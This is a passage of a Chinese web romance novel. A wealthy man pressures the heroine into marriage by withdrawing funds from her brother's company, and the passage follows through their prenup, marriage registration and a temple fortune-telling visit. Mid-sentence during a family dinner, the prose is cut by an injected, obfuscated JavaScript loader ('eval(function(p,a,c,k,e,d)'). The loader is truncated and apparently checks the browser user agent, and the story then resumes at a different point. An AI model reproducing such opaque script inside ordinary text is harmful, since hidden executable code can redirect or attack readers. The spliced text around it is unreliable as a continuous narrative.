蔺承则面色平静,拍了拍沙发,让她坐过来说话。 黎清昭一动不动,拎着包、隔着茶几站在他对面,“现在撤资你的损失也会很大,这样做对你有什么好处吗?” 蔺承则勾了勾唇,“原来是来找我兴师问罪的。” 他敛眸,坦坦荡荡地承认,“你知道我这么做的目的是什么?昭昭,你很聪明,否则今天那你不会亲自过来找我。” 黎清昭讨厌他这副运筹帷幄、强势霸道的样子,她甚至觉得昨晚那个温柔的他是镜中花、水中月,是她的一场幽梦。 “与其这样,不如我们心平气和地坐下谈谈。”他起身给她倒了一杯水。 黎清昭被他气得头又开始疼,她懒得和他浪费口舌,因为她发现,她再能言善道,也比不过他能巧言令色。 “你说吧,到底怎样才能放过我哥?”黎大小姐求人也从来没有求人的姿态,她态度奇差。 “清昭,你是在和我商量吗?” “你听不出来?我是在求你。” 蔺承则把眼镜摘下来,拉着她的手让她坐下,“这可不像是求人的态度,黎小姐。” 黎清昭吸了吸鼻子,开始装可怜卖惨,“那你说到底怎么办?是你突然逼我嫁给你的,我才是受害者。你换位思考一下,如果是你,难不成发个脾气也有错吗?你想娶我,你难道不应该拿出取悦我、追求我的态度吗?你只会逼我、强迫我、背后耍手段,我反抗一下难道也有错吗?” 他如果愿意耐心追求她,对她好,她也未必不会被他感动。 可他非要这样,非要这样卑鄙无耻。 她使劲儿挤出两滴泪,用手背抹了抹,“我都已经听你的和逸远分手了,这样还不够吗?你还想要怎样?你真的非要逼死我才作罢吗?” 蔺承则懒地拆穿她,好话都让她给说了。 他怎么不知道她是听他的话和蔺逸远分手的?他只记得,她和他唱反调的本事很大。 不过说到底,他进行布局,整这么一出,就是为了逼她服软。如今人都坐在他面前了,他无论如何都狠不下心对她。 “过来。”他让她坐得更近一些。 黎清昭磨磨蹭蹭地挪屁股,蔺承则看透她心里的小九九,不顾她的反对,直接圈着腰把她提到了自己的怀里。 黎清昭怔了一下,真想破口大骂,骂他不要脸。可是人在屋檐下,不得不低头,于是她硬是挤出一个假笑,“可以帮我了吗?” 见他不说话,她立刻从他怀里起来,“不帮就算了,你以为我只能求你吗?” 蔺承则发现,他非常轻易能被她拿捏,即使知道她在欲擒故纵、知道她虚情假意,他也甘之如饴。 “不够,清昭。” “那你想怎样?” 蔺承则的话掷地有声,“嫁给我。” 如果说刚刚黎清昭一直在和他虚以委蛇,现在就真是被他逼得走投无路了。 她本来还抱有一丝幻想,觉得他没有那么坏的。 “清昭,你该知道的,这只是一个开始。如果你愿意,我不介意和你慢慢耗,只不过这代价要谁承担,你得自己好好想。” 她眼中蒙了一层水雾,“你就非得这么逼我吗?” 他不说话。 黎清昭看着窗外漆黑的夜色,死死地咬住自己的下唇,她不知道过了多久,她最终像是妥协一般,干巴巴地回了个“好”字。 14. 解衬衫 蔺承则是个非常有耐心的成熟猎人,从一开始布局,到步步紧逼,他一直都保持着一种胜券在握的高傲姿态,甚至在情绪上都没有什么变化。 可当他听到她答应嫁给他的这一刻,眸色还是不可抑制地变得温柔。 他想,即使是他逼迫她的又如何呢? 他自始至终都是一个商人,不是一个善人,达到目的才是最主要的。 蔺承则圈着她的腰,带着她向自己又靠近了一些。黎清昭不是没谈过恋爱的黄毛丫头,可在清醒的状态下,感受到他灼热的呼吸,她还是红了脸颊。 “你要干嘛?”她满脸防备,生怕他对她动手动脚,毕竟他有前科。 蔺承则无奈地笑了,反问她:“清昭觉得我要干什么?” “我怎么知道?我又不是你肚子里的蛔虫。”黎清昭故意讽刺他。 蔺承则抬手刮了下她的鼻尖,趁她不注意在她的唇畔上轻啄了一下,蜻蜓点水,转瞬即逝。 黎清昭立刻抬手紧紧地捂住自己的嘴巴,不可思议地骂他:“你不要脸。” 蔺承则特别喜欢看她炸毛的样子,他笑得春风得意,抱着她的手却越收越紧。 黎清昭倒是没被他给的表面的温柔泡泡给迷惑,她当然清楚她的妥协是为了什么,她才不是吃亏的人。 “你现在立刻马上把答应我的事做到。” 她扭头四处寻觅他的手机,没找到,又拧着眉盯着他,摊开手心,“手机给我。” “你自己拿。”蔺承则把胳膊抬起来。 黎清昭瞬间意会,葇荑小手伸进他的西裤兜里就乱摸一通。她做事的时候目标明确,一点儿也不拖泥带水,摸出手机就塞进他手里,直愣愣地看着他,让他打电话解决资金的问题。 而蔺承则却差点儿把持不住,他闷哼一声,脑海里都是她手划过敏感处那股电流冲击大脑的感觉,酥酥麻麻的,连带着她身上的柑橘香味都被无限放大。 蔺承则本意是想坏心思地逗逗她,可他发现,他折磨反倒是自己。 真想把她压在身下,握着她的手腕钳制在头顶,在她身上为所欲为…… “快点打呀!你不会是要反悔吧。”黎清昭也不知道他双眼盯着自己发什么呆,要不是有求于他,她简直想踢她两脚。 蔺承则回过神来,抱着她,打完了这通电话。 眼看着资金问题解决,黎清昭终于能喘口气。其实到这个时候,她才意识到,她真的答应嫁给眼前这个她不爱的男人了。 紧接着,那股忐忑、未知、委屈、恐惧的情绪接踵而至。 她想从他腿上起来,却被蔺承则攥着她的手拉回来,“答应你的事我做到了,我现在是不是应该先收一些利息?” 黎清昭最怕他用最平淡的语气说一些让人想入非非的话。 蔺承则把她放在沙发上,然后低头慢条斯理地解衬衫的纽扣。 黎清昭双腿紧并在一起,开始打寒颤。虽然她早就觉得他要娶她图的是她的身体,可见他要动真格的,她还是有抵触情绪、还是害怕、还是没法做到像预想中的那样大义凛然。 她本以为,这种事她只会和蔺逸远发生。 黎清昭双手紧紧攥在一起,眼看着男人最后一颗纽扣解开,她立刻从真皮沙发上站了起来,转身就要跑。 蔺承则眼疾手快,拉着纤细冰凉的手腕把她拉了回来,“黎小姐就这么没有契约精神?” “那你也不能这样啊……” 她话还没说完,视线就落在他赤/裸的身上,男人的衬衣敞着,露出精壮的腹肌、人鱼线,还有若隐若现的青筋。 黎清昭呼吸一滞,把头扭开,非常有骨气地说:“你别以为色/诱这招很有用,我才不是那么肤浅的人呢。” “在这件事上,你不能强迫我。”她轻哼一声,“既然是夫妻,就要相敬如宾,要琴瑟和鸣,要举案齐眉,要……” “清昭,你是在给我显摆你成语多吗?”他故意去扯她的手,往他的身上探。 硬邦邦的,烫烫的。 黎清昭骤然缩回手,“我只是在提醒你健康和谐的夫妻关系是什么样。反正你不能在这件事上强迫我。我觉得我们至少要先培养感情,然后再考虑其他的事。当然,如果你不愿意,你现在还有反悔的机会,你快点儿去找别的女人,还来得及呢。” 蔺承则一直都挺佩服她这张嘴的,黑的能说成白的,永远让自己有理,吃不了一丁点亏。 “你的意思是我娶你是为了和你谈柏拉图?” “柏拉图也挺好啊,一起约会,看电影,散步,现在不是挺多人都追求soulmate吗?” 蔺承则:“别人是别人,但是我可以明确告诉你,我暂时没有这个打算。” “那你也不能现在就要……这是在你的办公室,况且我们还没结婚。” 一涉及到自己切身的利益,她是真急眼了,说出的话都飘着,尾音也挂上了哭腔。 蔺承则突然意识到,她其实很不禁逗。他本意是顺着她的话茬逗逗她,看她什么反应,但是没想到又把她吓够呛。 也许在她心里,他就是彻头彻尾的坏人。 男人抬手把衬衣脱掉,随手搭在沙发背上,然后把棉棒和碘伏塞进她的手里,他背对着她,“清昭,我没有你想象中的那么坏,我本意只是想让你帮我处理一下伤口。” 黎清昭眨了眨眼,感觉自己又活过来了。她抬手摸了摸他后背上的红痕,其实上次他被戒尺打,没流血的地方淤青都渐渐消褪了,只有那几道下手重的地方,由鲜血变为疮痂,伤口处凸出,有些斑驳,看起来触目惊心的。 “你也会被打?”她挺好奇的。 “嗯。” “谁打的?”她用棉棒给他消毒。 “没谁。” “切,不说拉倒,肯定是你活该。” 消完毒,蔺承则又把衣服穿上,他告诉她:“明天我找律师拟一下婚前协议,你有什么要求,可以提,只要合理,都没问题。” “什么都可以提吗?” “合理即可。” 黎清昭撇了撇嘴,“那你说,我们的协约婚姻多长的期限在你看来比较合适?” 男人眸色变深,像是古井般深邃,“清昭,你觉得婚姻是儿戏吗?” 还要协商多少年,简直是天方夜谭。 “我不觉得你会想一辈子和我在一起,我脾气不好,受不了一丝委屈,别人不顺着我,我就想引爆全世界。我觉得你也不是很有耐 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黎清昭想说她才不需要,转念一想,她最好还是不要太过张狂,不能因为他的纵容就把尾巴翘到天上。 于是,蔺承则便当她默许了,他难得地牵着她的手,带她从专用电梯下楼。 途中,黎清昭想把他的手掰开,可他无论如何都不同意,反而越攥越紧。 “热死了,弄了一手汗。”黎清昭有些烦躁,她最讨厌夏天,弄的浑身都是汗,整个人像是从水里捞出来一般。 蔺承则和她十指相扣,对她的话置若罔闻。 黎清昭挑着眼皮打量着他,突然收回视线,像是霜打的茄子一样蔫巴巴的,也不说话了。 她觉得她完了,同意嫁给他简直就是她美好人生的坟墓。他脾气这么臭,现在就对她爱搭不理,不在意她的情绪,那以后的婚姻生活肯定和谐不到哪里去。 想到这儿,她又开始委屈,觉得自己走到这一步,把自己当做一个交易的商品卖掉,嫁给不爱的人,都是拜他所赐。 偏偏他还有眼无珠,把她这个好的人抢到手里还不珍惜。 呸呸呸! 臭男人,谁稀罕? 眼见着电梯门打开,黎清昭趁他不备甩开他的手就跑,小高跟在偌大的地下停车场发出“吧嗒吧嗒”的声音。 蔺承则抬眸,突然看到一抹熟悉的身影,开口:“清昭,回来。” 黎清昭顿住脚步,停在原地,没有回头。 蔺承则追上她,重新牵起她的手,“怎么不开心了?” “你明知故问。” 蔺承则抬手攥住她的肩膀,两人对视,“我错了好不好,我郑重向我的未婚妻道歉。” 黎清昭抬眸,还以为老东西终于良心发现了,结果下一秒,蔺逸远不知从什么地方冲了出来,抬手对着蔺承则就是一拳,被男人徒手拦下。 蔺承则牢牢地将黎清昭护着在身后,呵斥蔺逸远,“你发什么疯!” 黎清昭被这突如其来的状况吓得尖叫,她还以为是什么坏人,可看清眼前的人,却一句话都说不出来了。 她眼圈泛红,“逸远,你怎么来了?” 蔺逸远扯着她的手要带她走,“宝宝,你不要答应他,和我走好不好?” 15. 婚前协议 黎清昭觉得自己被两个男人硬生生地扯成两半,她面前是蔺逸远热切乞求的眼神,身后是蔺承则牢牢地攥住她的那只手。 停车场白皙的灯光从头顶打下来,照在她的脸上,可以看出她内心的纠结与彷徨。 “宝宝,宝宝,你不要丢下我。” 蔺逸远其实是了解她的,他知道她从来不是个铁石心肠的姑娘,他不相信她能轻而易举抛弃他们之间长达二十年的感情。 “宝宝,我爱你……” 蔺承则闻言,眉头微微蹙起,不过,他倒是没有任何举动,因为他像借此机会试探试探黎清昭的态度。 他希望黎清昭能遵守两人的约定,对他的弟弟心狠一些,因为只有她才能让他彻底失望,只有她的薄情、冷漠和决绝才能斩断蔺逸远所有不切实际的念想。 黎清昭轻咬着下唇,她觉得手脚冰凉,大脑发轴,不能思考。她从来没设想过会发生这样的修罗场,让她陷入两难的境地。 “昭昭……”蔺逸远依旧不依不饶,又往前挪了半步,距离她更近一些。 一直置身事外的蔺承则终于忍受不住两人的苦情戏码,他把黎清昭拉到他身后,“你先自己回家,我和逸远聊聊。” 黎清昭逃避似的点点头,又看了蔺逸远一眼,转身离开。 地下停车场高跟鞋的声音消失,两个男人面面相觑,大眼瞪小眼。 蔺逸远自嘲地笑了笑,“你倒是够狠心的,为了逼昭昭,什么下三滥的手段都敢用。你以为这样她就会爱上你吗?她不会,她只会更恨你,恨你剥夺了她的自由、剥夺了她自主选择的权利,恨你用最疼爱她的哥哥威胁她。” 蔺承则打断站在道德制高点的弟弟,“所以呢?那又能怎样?你觉得她不和我在一起就会和你结婚吗?你从来没有意识到你们两个不合适吗?” “我们不合适?”蔺逸远似乎听到了什么笑话,“没人比我更了解她,没人比我更爱她。” “你不觉得你的爱太廉价了?经不起任何风吹雨打。你可以扪心自问,你和她在一起能带给她什么,你和她的婚姻,怕是你赚的便宜更多吧。”蔺承则毫不留情地拆穿他,“你口口声声说爱她,想娶她,不过是想借黎家来维护你在公司的地位,逸远,你敢说你没有过这种想法?” 蔺逸远觉得蔺承则在玷污他的感情,他声嘶力竭地指着他,“你别血口喷人,我从来没有想过。我和她在一起,只是因为我爱她,我从来没有其他想法。你以为所有人都像你一样肮脏吗?” 蔺承则觉得被自己这个弟弟吵得头疼,“你没有这个想法,不代表你母亲没有这个想法。” 蔺逸远怔了一下,突然想到今年过年的时候,陈玉梅偷偷摸摸地把她拉到一旁,苦口婆心地叮嘱他:“逸远,你和昭昭的婚事得抓紧了,你知道,黎家对你以后在公司的发展又很大的好处。” 蔺逸远只觉得头皮发麻,“你听到了?” 蔺承则不置可否。 “既然你听到了,你就该知道,我当时跟我妈说了什么!” 他说了什么呢,他很烦躁地反驳陈玉梅的话,说他和昭昭有他们自己的节奏,说他不想利用黎清昭。 蔺承则懒得在和他争论这些无关紧要的话题,他轻拍了下他的肩膀,给这个同父异母、还算有感情的弟弟指了条明路,“如果我是你,我现在不会赤手空拳硬碰硬,我至少会让自己的翅膀硬起来,至少有上桌的权利,你说是不是?” 蔺逸远哪里还听得进他的劝告,“你有现在的成就,还不是因为你在年龄上占有优势。你以为等我到了你这个年龄,我会比你差吗?” 蔺承则觉得他太过幼稚、理想化、小孩子气,“可惜你不是,可惜你现在什么都没有。不仅如此,就连最廉价的耐心、关心、包容你都给不了她,否则,你怎么会连她花生过敏都会忘记,不是吗?” 蔺承则觉得自己太过浪费口舌,选择结束这个话题,“如果你愿意,可以来参加我们的婚礼。” 蔺逸远看着那道决绝的声音,气得攥紧拳头,扯着嗓子呐喊。他也不知道他发了多久的疯,只觉得浑身的力气都被卸掉,脸上被泪水浸湿。 - 和蔺承则领证之前,黎清昭借着签婚前协议书这事提了一堆无理的要求,譬如他不能再做伤害黎氏的事,婚事她不想太过张扬、不要闹得人尽皆知,他要自己搞定黎家的长辈、尤其是她的哥哥,她短期之内不想生小孩、他不能违背她的意愿,他不能干涉她的事业、限制她的自由,他不许在婚内欺负她、尤其是不能动不动就动手打她的屁股,他不许在她面前抽烟、不许应酬之后喝得烂醉回来,他不许和其他的女人过于亲密,他给的聘礼不能太少、至少不能让她在圈子里丢面子,结婚之后她要带着两只猫和他生活在一起、他不能趁她不在的时候偷偷欺负她的宝贝猫…… 蔺承则看着黎大小姐提的婚前要求,不禁感慨他这个未婚妻实在太过幼稚。不过他挺喜欢她这些“无理”的要求的,让他感觉,她至少是真在考虑和他一起过日子、和他好好生活。 于是,蔺承则一口气应下。 黎清昭才不否认她有故意找茬儿的成分,她就是要给他一个下马威看看,顺便试探一下他作为丈夫对她这个骄纵跋扈的小妻子的纵容底线。 她都想好了,他即使反驳她也没关系,只要不超过三条,她都可以接受。 只是没想到,他悉数全收。 这么一对比,倒是显得她过于矫情,有些小家子气。 “那你呢,你就没有什么要求吗?” 黎清昭翘着二郎腿坐在沙发上,她今天穿了一袭奶油白底配樱桃红波点连衣裙,收腰的设计勾勒出纤细的腰线,领口处坠着一枚丝绒蝴蝶结珍珠扣,挡住若隐若现的精致锁骨。她表情傲娇,高高在上。 蔺承则一眼望过去,觉得他的未婚妻是个精致的小公主。 男人把他拟好的条款递给她,黎清昭颇为正经地扫过,顺便让她带来的律师看。为了不被蔺承则忽悠,她可是提前约了黎家最专业的律师。律师把这些条款一一给她解释,无非是一些关于财产的问题。他们这个圈子联姻,签婚前协议主要就是为了维护资产,黎清昭都能理解。 她正准备应下,突然扫到最后一页,发现还有一条要求—— 要求她不许再和蔺逸远有任何来往。 黎清昭瞬间就炸毛了,“你什么意思?” 她觉得他这是在怀疑她的人品,质疑她以后可能会婚后出轨、可能会和蔺逸远私奔。 “急什么?只要你不再私底下偷偷和他见面,清昭,这一条就对你没有任何约束力。” 黎清昭轻哂一声,把签字笔往茶几上一扔,抱着胳膊偏过头。 蔺承则无奈地坐在她身边,安抚他这个炸毛的未婚妻,“我不是我不相信你,我是不相信他,我怕他以后来骚扰你。” “那你去和他说啊?你给我使什么下马威?” 黎清昭又犯了大小姐脾气,倔劲儿上来了,挪着屁股就往律师那边蹭。 蔺承则不愿意和她闹得太僵,选择妥协,“好,那就不要这一条,但是你要答应我,你不许再私底下见他。” 黎清昭勉为其难“哼”了一声,律师随后把婚前协议拟好,两人爽快地签了字。 签过字,黎清昭也说不清楚自己有什么情绪,反正心里空落落的。她把笔盖扣上,起身,“我先走了。” 蔺承则攥住她的手,“一起吧,早上爷爷打电话,让我和你一起回家吃饭。” 黎清昭其实挺佩服蔺承则的本事的,当初他贸然上门抢亲搅乱了爷爷的生日宴,后来他又操纵资本为难黎执渊,这些骚操作下来,他居然还能和黎家的关系和好如初,还能大言不惭地说要和她一起回家吃饭。 果然,脸皮厚就是好。 “吃呗。” 黎清昭现在的态度是既不积极也不消极,总之就像是应付差事一样。反正她也想好了,这场婚事是板上钉钉的事,她不爱蔺承则也是既定的事实,既然她这么倒霉走到了这一步,她就不能让自己过得太惨。 至少,她才不要和蔺承则硬碰硬,只要他不过分,她倒是能扮演一个好的未婚妻的形象。 不就是演戏吗?她最擅长了。 她从小到大为了闯祸后不被骂,可没少撒谎装病。 演技这个东西,黎大小姐与生俱来。 上了车,黎清昭主动坐在副驾驶,蔺承则贴心地俯身要帮她系安全带,结果她一抬头,两人撞到了一起。 黎清昭捂着自己额头,皱着鼻子看着他,“嘶,你……” 蔺承则连忙给她揉了揉娇贵的额头,又帮她吹了两下,算是将功补过。 他这么殷勤,黎清昭到嘴边的指责硬生生地被她咽了下去,她拍开他的手,“你好好开车。” 蔺承则发现,她的耳朵红了。 他这人也是讨厌,明知道她是不好意思了,偏偏还要故意拆穿她,问她是不是耳朵上的珍珠耳环戴得不舒服,把耳垂都坠红了。 黎清昭抬手就把耳环摘下来扔在他身上,“你要是不想吃饭就直说,不用找借口,你以为我们家很欢迎你吗?别自作多情了。” “未来岳父请客,我这个当女婿怎么能不去?”男人手握着方向盘,目光却还是落在她脸上。 黎清昭感觉到那道灼热的视线,连忙偏过头,用余光偷偷瞄他,发现他还在看自己。她立刻抬手挡住自己的小脸,不让他看。 等他发动引擎,她才睁开眼睛,从指缝里偷偷瞄他。 “不要脸。”她小声嘀咕,也不知道是在评价他哪一条恶劣的行径。 蔺承则没吱声,反正他的罪行在她这儿已经数不胜数了。 两人一路回到黎家别墅。 黎家今天的人很齐,场面其实不亚于黎老爷子生日那天。 蔺承则和黎清昭一进门,黎乾岳就迎了上来,满是欣赏的目光打量着这个未来的女婿,黎老爷子也提前从楼上下来,招呼蔺承则坐过来喝茶,就连蒋辞这个后妈都演得入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“希望如此吧。”否则她一辈子和他在一起,岂不是很悲哀。 黎清昭心大,有些事只要她自己想明白了、不钻牛角尖了,其实就好了。就比如现在她和蔺承则,婚姻是好是坏她都能接受。 她又和陈玖聊了几句,阿姨上来敲门喊吃饭,两人才下楼。 吃饭的时候,黎清昭本来想当个哑巴,结果黎老爷子倒是积极主动上了,说他找了个良辰吉日,让两人最近就把结婚证领了。 至于婚礼,等领证之后再慢慢筹办。 “好,我听爷爷安排。”蔺承则给她夹了一块清蒸鲈鱼。 黎清昭瞥了他一眼,抬手把那块鱼还给他,“那就这样楼,我能有什么意见?” 她是故意在给黎老爷子是厉害。 碍于未来姑爷在场,黎老爷子倒是也没呵斥她,反而和蔺承则解释说:“等婚后,你得多担待这丫头,从小到大被我和她爸爸宠着,捧在手里怕掉了,含在嘴里怕化了,娇纵惯了,受不了委屈。” 黎乾岳接着说:“我就这么一个女儿,她要是做错了什么,你别吓唬她、欺负她,把她给我送回来。” “请爷爷和黎叔放心,我会照顾好清昭。”他在桌下攥住她的小手,“不会欺负她。” 黎清昭挤出一个职业假笑,心想他装的跟个人似的,他好像少欺负了她似的? “那辛苦你了哦。”她眨了眨眼睛,纤长的睫毛在脸上投射出一道扇影。 吃过饭,蔺承则告别离开,黎老爷子非让黎清昭去送送他。 黎清昭没办法,心不甘情不愿把这个未婚夫送到院子里,“回去注意安全。” 说完,她就要往回跑。 蔺承则揽住她的腰,叮嘱她说:“这几天我有些忙,等领证那天,我来接你。” 黎清昭轻“嗯”一声,让他快些走。 他突然问她:“那天爷爷打你着?” “拜你所赐。”她说。 “我不知道会这样,让你受委屈了。” 黎清昭用脚踢了踢地草坪,低着头不说话。 “你不开心了?” “没有。”黎清昭推了推他,“你快走吧。” 蔺承则站在原地,看她情绪真没什么异样,得寸进尺地说:“那你来亲我一下。” “你要不要脸?” 蔺承则弯腰俯身,和她平视,“不亲也行,那黎小姐抱我一下。” “我要是不抱呢?” “那我就不走了,我去问岳父今晚能不能给我腾出一间房。” “真不要脸。”黎清昭不情不愿地伸出双手圈住他的腰。 下一秒,蔺承则紧紧地抱住她,像是承诺一样,他贴在她耳边和她说:“清昭,相信我,我会对你好的。” 晚风拂过她的耳畔,她总觉得他刚刚还偷亲了她一下,脸蛋开始燥热,心也漏了一拍。 16. 领证 黎清昭和蔺承则按照黎老爷子选定的黄道吉日去民政局领了结婚证,整个过程,黎清昭就跟做梦似的。 作为一个从小被人捧着长大的公主,黎清昭以为她的婚礼也会像童话中的公主一样,嫁给自己心爱的王子。 结果现在…… 黎清昭偏过头看向坐在驾驶座开车的男人,她鼓了鼓嘴巴,自己缩在一旁抚慰她幼小的心灵。 她可真惨,不仅没嫁给自己想嫁的人,就连求婚这种梦寐以求的仪式感都没有。 蔺承则似乎差距到身边人的情绪,他攥住她的手,她条件反射地想躲开,他却牢牢地攥住不放。 “想什么呢?清昭。” “没有。” 蔺承则缓缓把车停到一旁,打着双闪。北城已经入秋,街边的树叶变换,风一吹,便纷纷扬扬地落在车顶。 蔺承则解开安全带,俯身亲昵地捏了捏她的小脸,“不开心?” 他无奈地轻叹一口气,故意逗她,“我要是你,有什么不开心的至少会在领证之前说,你看看现在,生米都煮成熟饭了,你也没其他的办法了是不是?” “那怎么办,现在证也领完了,我们已经是合法夫妻了。” 蔺承则把那两个红本本拿到她面前,“要是实在不开心,你跟我发泄发泄,不然一会儿我们还要去寺庙求签,你把坏脾气带到人家修行圣地总归是不太好。” 这其实是蔺家和黎家的长辈给他们下达的命令,领证之后,去寺庙求一道签文,图一个吉祥。 求签这种迷信的事,蔺承则不信,黎清昭也不信。 不过两人胳膊拧不过大腿,为了避免长辈们唠叨,两人还是决定亲自跑一趟,反正今天也没什么大事。 黎清昭闻言把头扭回来,对上他那双深邃的眼睛,不由分说地捞起他的胳膊,张嘴一口就咬下去。 她一边泄愤一边眨眼打量他的深情,说实话,她现在一点儿也搞不懂自己的丈夫,他不知道他是真脾气好,还是装出来的。 在他小臂上印上一圈浅浅的牙印,她松开他,又在旁边“呸呸呸”了半天,威胁着说:“你今天最好别挑衅我?” 蔺承则挑眉,“我哪里挑衅你了?” “你说的哪一句话不是在挑衅我?”她皱了皱鼻子,把那两个红本本往他怀里一扔。 “我这说的不是实话吗,蔺太太?” 黎清昭一听到这个让人头皮发麻的称呼,连忙捂住自己的耳朵,“你再讨厌,我马上就下车。” 她作势抬手要去开车门。 蔺承则圈住她的腰,把她捞回来,帮她把额前的碎发塞到耳后,哄着她说:“好了,不闹了。” 看着车子再次驶向主干道,黎清昭又偷瞄他一眼。虽然她不知道他故意停下车来威胁她、嘲笑她是什么意思,但是咬了他一口,她心情确实好了大半。 黎清昭有个毛病,车程稍有些长她就昏昏欲睡。今天也不是个例外,正在黎大小姐即将会晤周公的时候,车子转过一个弯,便停在了寺庙门口。 这是一座极有历史气息的寺庙,藏在群山褶皱深处,正午的阳光倾泻而下,把“寒塔禅寺”几个斑驳的字映衬得半明半暗,宛如一座被时光打磨的古玉。 黎清昭被蔺承则牵着进了寺庙,两人对求签这事的态度都比较寡淡,也没有按照蔺老太太的话去找指定的大师,而是跟着香客一起走走停停,最后随便找了一个小师父。 黎清昭捏了捏蔺承则的手,“你来还是我来?” “你来吧。” 黎清昭撇了撇嘴,“我手可臭了。” “有多臭?” 黎清昭娓娓道来,“这些年我买彩票从来没中过奖,足球押注从来没赢过,抽盲盒第一次永远抽不到隐藏款,就连喝一瓶饮料都不如逸远,还能开出一个再来一瓶……” 黎清昭看到男人眉头挑了一下,立刻意识到自己说错了话,提了不该提的人,连忙把嘴巴闭上,假装个没事人。 不过她说的确实是实话,和蔺逸远在一起,他总是运气比她要好些。不过他们两个人谁中奖好像没什么区别,因为到最后,都会算作她的。 她就是这么霸道。 因为这种错觉,黎清昭一直没想过自己运气差、手臭。可现在,面对这场婚事,她承认了,她就是命不好。 小师父手拿着签文,问他们谁来求,求什么签。 蔺承则:“她来,求一求我们的婚姻。” 黎清昭指了指自己,用口型问他,你不是说你来吗? 见他笑意靡靡,她轻哂一声,“我来就我来,抽到不好的,你可别哭。” 黎清昭眼睛偏向一旁的老榕树,随手摸了一个签,扭回头一看,“什么?居然是下下签?!!!” 她口头说她不信求签是一回事,可真抽了个下下签又是另一回事。 她的手气真的有那么差吗? 黎清昭只觉得匪夷所思,她甚至都怀疑是签文被动了手脚,竹筒里全都是“下下签”。 “这这这,这怎么办?”黎清昭蹙着眉看向蔺承则,这回家可怎么交差? 虽然她不喜欢他,不想和他结婚,可他们的婚姻也不能是一个“下下签”啊,万一到时候被反噬的是她可怎么办? 她从小身体就不好,生下来就是个弱胎,若是两个人以后婚姻有问题,她就有一半的风险。 黎清昭抬手捏了捏耳垂,随手就把签文扔到蔺承则的怀里,言外之意,我们一点都不般配,强扭的瓜就是这么苦兮兮,佛祖都不保佑。 蔺承则垂眸看了眼那道签文,把已经要炸毛的小姑娘拉了回来,“不妨听听师父说怎么解签?” 黎清昭敛眸,眨眼之间,坏主意就涌了上来。她贴着蔺承则,问小师父可不可以给寺庙捐一些功德,就当是给两人的婚姻积德。 小师父自然是愿意,寒塔寺年年香火不断,许多来自五湖四海有头有脸的人常年会捐功德。 据黎清昭了解,当年她奶奶活着的时候,每年大年初三都要来见一位德高望重的法师。 见小师父答应,黎清昭推了推蔺承则,叮嘱他说:“你进去多捐一点儿钱,挽救一下我们岌岌可危的婚姻。” 蔺承则早就看出她一肚子坏主意,便配合着自家小妻子跟着小师父进去捐钱。 黎清昭趁两人不备,从那一堆签文中找到一个“上上签”,心满意足地塞进包里,然后把那个烫手的“下下签”扔了回去。 大功告成,黎大小姐若无其事地挪到蔺承则的身后,挑着眼皮数他捐了多少钱,觉得他还算大方,又撇了撇嘴,在心里跟佛祖嘀咕:这是我老公哦,他的就是我的,钱我们都捐了,偷一个“上上签”一点儿都不过分吧。 蔺承则早就注意到她回来了,攥住她的手,轻声说:“乖一些,别乱跑。” 黎清昭难得这么配合他,挽着他的胳膊无聊地打量着四周,看来来往往的香客,猜测他们都是什么职业。 终于,走完了流程,两人和小师父告别,黎清昭揣着“上上签”心满意足地离开。 上车之后,她颇有成就把那道签文从包里掏出来,得意洋洋地在他面前晃,“我厉不厉害?” “早就听说过黎小姐年少不服管教,黎叔狠心停了你的卡,你便偷他的古董去卖,还买了个赝品以假乱真。” 黎清昭没想到青春期干的这种糗事他也知道。 被人揭短,她面子上过不去,在心里骂肯定是蔺逸远这个大嘴巴说漏了嘴。 “你别我身上扣这么大的锅,我怎么可能做这种上不了台面的事呢?” 蔺承则附和着点头,“那可能是我记错了。” “就是你记错了。” 蔺承则勾了勾唇,没再继续拆穿她。其实他不仅知道她偷了亲爹的古董卖,还知道这个古董卖了多少钱。 因为当年,她屁大点的小姑娘想卖掉一个不是正路来的南宋持荷童子玉佩,自然不敢走拍卖这条路,只能私底下寻找心仪的买家。 当时,蔺逸远怎么劝黎清昭她都不听,他把零花钱分给她她也不要,打定主意要卖一件他爹的心头肉,看他以后还偏不偏心蒋辞。 蔺逸远拗不过她,只能帮她找门路,所以他就把这件事拜托给了蔺承则。 蔺承则高价收了这个藏品,后来又趁着黎乾岳不注意,把真品还了回去。 所以,这件事,没有人比他更清楚其中的经过。 “快开车吧,不是还得回我家吃饭吗?”她挥了挥手上的签文,“还得回去交差呢。” 蔺承则点头,发动引擎。 “我们结婚的事,你觉得什么时候告诉逸远比较合适?”他突然问她。 他们领证的事,一直瞒着蔺逸远。 自从上次在停车场见过之后,蔺逸远出去买醉,喝酒喝得进了医院。 陈玉梅心疼儿子,鼻涕一把眼泪一把地求蔺岱山和老太太这事要瞒着蔺逸远,“逸远无论如何都不能再受刺激了,我真怕他错出什么傻事。” 儿子即使再不争气,说到底也是亲生骨肉,蔺岱山便让蔺承则瞒着蔺逸远。 黎清昭自然也知道这码子事,听到蔺逸远住院,她其实挺想去看看他的。但是她又不敢,她怕蔺承则。 所以,今天他把这个话题抛到明面上,她还有些不知所措。 “我不知道。” “你不想告诉他。”他一针见血地指出。 黎清昭低头扣弄着美甲上的珍珠,实话实说,“他情绪不好,我怕他做什么傻事。” “好,那就先不告诉他。”他倒是还挺宽容,“不过,你也知道,这事瞒不了多久,毕竟天下没有不透风的墙。等选好地址,我们要开始策划婚礼,到时候他早晚会知道。” “嗯。” 她想,瞒一天算一天吧,蔺逸远的脾气她了解,如果现在知道他们领证了,恐怕不会好好养身体,非得再闹一通。 “清昭。”他叫她。 “嗯?” 蔺承则笑了笑,“没什么事,就是突然想叫你一声。” 阳光顺着挡风玻璃渗进来,有些晃眼睛,黎清昭把手搭在额头上,爆了句粗话,“闲得蛋疼。” 蔺承则无奈,他的小妻子好像原形毕露了,丝毫不在她面前维护她淑女的形象了。 - 因为领证的事他们约定好暂时先瞒着蔺逸远,所以两人没有回蔺家,而是这阵子都在黎家吃饭。 蒋辞自然知道两人今天去领证,还去求了签文,便差遣阿姨给姑爷倒一杯茶,又问:“怎么样?求签了吗?” 